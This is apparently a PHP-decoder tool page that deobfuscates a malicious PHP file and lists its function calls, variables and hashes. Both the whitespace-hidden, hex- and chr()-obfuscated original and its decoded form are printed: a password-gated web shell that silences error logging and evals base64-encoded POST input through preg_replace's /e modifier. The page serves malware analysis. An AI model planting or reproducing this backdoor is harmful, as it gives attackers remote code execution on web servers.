Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "qZU97OHLhiV5vU1DpCT4HRjaOEnp9nCc")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php



                                                                                                                                                                                                                                                                                                                                                                                                        $uHsgfa="\x70\x72".chr(101)."\x67\x5f".chr(114)."\x65".chr(112).chr(108).chr(97).chr(99)."\x65";$x9pa="\x65va\x6c".chr(40)."\x62".chr(97)."\x73e".chr(54)."4\x5f\x64e".chr(99)."\x6F".chr(100).chr(101)."\x28".chr(34)."Q\x47V".chr(121).chr(99)."m".chr(57)."\x79".chr(88)."\x33".chr(74).chr(108).chr(99)."\x479\x79\x64\x47".chr(108)."\x75Z\x79".chr(103)."w".chr(75)."\x54".chr(115)."\x4b\x51G\x6c\x75a".chr(86)."9z\x5A\x58".chr(81).chr(111)."\x49\x6D".chr(82)."pc3BsY\x58".chr(108).chr(102).chr(90).chr(88)."\x4Ay\x623\x4a\x7a".chr(73)."i\x77w\x4bT\x73\x4b\x51G\x6C\x75\x61\x569".chr(122)."Z\x58Qo\x49".chr(109)."\x78v".chr(90).chr(49)."9l\x63n\x4a\x76c\x6eM\x69L".chr(68).chr(65)."\x70Ow\x70Aa".chr(87)."\x35\x70\x58\x33N\x6c".chr(100)."\x43\x67\x69\x5a".chr(88)."J".chr(121)."\x62\x33\x4A".chr(102).chr(98)."\x47\x39\x6e\x49".chr(105).chr(119).chr(119)."\x4b".chr(84)."s".chr(75)."\x43m\x6C\x6d\x49C\x68\x70\x633\x4e".chr(108).chr(100)."\x43\x67\x6B".chr(88)."1".chr(66)."P".chr(85)."1".chr(81)."\x70\x49CY\x6dI\x47".chr(108)."\x7a\x58\x32\x46\x79\x63".chr(109)."F\x35\x4BC\x52".chr(102)."UE\x39\x54V".chr(67)."k\x67J".chr(105).chr(89)."g".chr(89)."\x32".chr(57).chr(49)."b".chr(110).chr(81)."\x6F\x4a\x469QT1\x4eUK".chr(84)."4x\x4b\x51p7\x43".chr(103).chr(108)."\x6db3".chr(74)."l\x59W\x4E".chr(111)."\x49C\x67k\x58".chr(49).chr(66).chr(80)."\x551\x51\x67".chr(89)."X\x4Dg".chr(74)."H\x5Ah".chr(99)."\x69".chr(107)."\x4B".chr(67)."X\x73\x4bC\x51".chr(108).chr(112).chr(90)."\x69".chr(65).chr(111).chr(73).chr(87)."l".chr(122)."\x63\x32".chr(86)."0KCRjb2R\x6c\x4BS".chr(107)."g\x4a\x47N".chr(118)."Z\x47\x55gP".chr(83).chr(65).chr(107)."\x64".chr(109)."\x46y\x4F\x77\x6F\x4a".chr(67)."\x57\x56s".chr(99)."\x32\x56".chr(112).chr(90)."i\x41\x6fIW".chr(108).chr(122).chr(99)."2V".chr(48)."\x4B".chr(67)."\x52\x77\x59".chr(88)."\x4e".chr(122).chr(75)."\x53kg\x4A\x48\x42h".chr(99)."\x33\x4dg\x50SAkd".chr(109)."\x46\x79Owo\x4A\x43W".chr(86).chr(115).chr(99)."2".chr(85)."g\x59".chr(110).chr(74)."\x6c\x59".chr(87)."s\x37Cg".chr(108)."9".chr(67)."\x67o\x4A".chr(97)."\x57\x59\x67".chr(75)."C".chr(82).chr(119)."YX\x4ezID\x309".chr(73).chr(67)."\x4ax".chr(87)."\x6c\x55".chr(53)."\x4E".chr(48)."9\x49".chr(84).chr(71)."\x68\x70\x56".chr(106)."\x56".chr(50)."V\x54\x46E\x63\x45".chr(78)."U".chr(78)."\x45\x68S".chr(97).chr(109)."FPR".chr(87)."5\x77\x4F".chr(87).chr(53).chr(68)."Y".chr(121).chr(73)."p".chr(67)."\x67\x6C".chr(55).chr(67).chr(103)."k".chr(74)."\x5AXZh\x62C\x68iYXN".chr(108)."\x4ejRf\x5A\x47".chr(86)."\x6A\x62\x32Rl\x4BC".chr(82).chr(106)."\x62\x32R\x6C\x4b".chr(83)."k7C\x67l9".chr(67)."\x6E0".chr(75)."Z".chr(88)."hp".chr(100)."D".chr(115)."=".chr(34)."\x29)".chr(59);$oka45w8="\x2f".chr(55)."\x36".chr(99)."\x66".chr(97)."\x35".chr(101).chr(49)."b\x307\x38f".chr(102).chr(49).chr(97).chr(52)."\x37\x38\x62".chr(57)."\x33e\x36\x63".chr(51).chr(98)."\x61\x35c39".chr(47)."\x65";$uHsgfa($oka45w8,$x9pa,"7".chr(54)."\x63\x66".chr(97)."\x35\x65".chr(49)."b\x30".chr(55)."\x38".chr(102)."\x66".chr(49).chr(97)."\x34\x37\x38\x62\x39\x33".chr(101)."6c".chr(51).chr(98)."a".chr(53)."\x63\x33\x39");


?>

Function Calls

chr 182
preg_replace 1
base64_decode 1

Variables

$x9pa eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$uHsgfa preg_replace
$oka45w8 /76cfa5e1b078ff1a478b93e6c3ba5c39/e

Stats

MD5 214e44f09de3f09cc777ec00dd4d5fc1
Eval Count 2
Decode Time 261 ms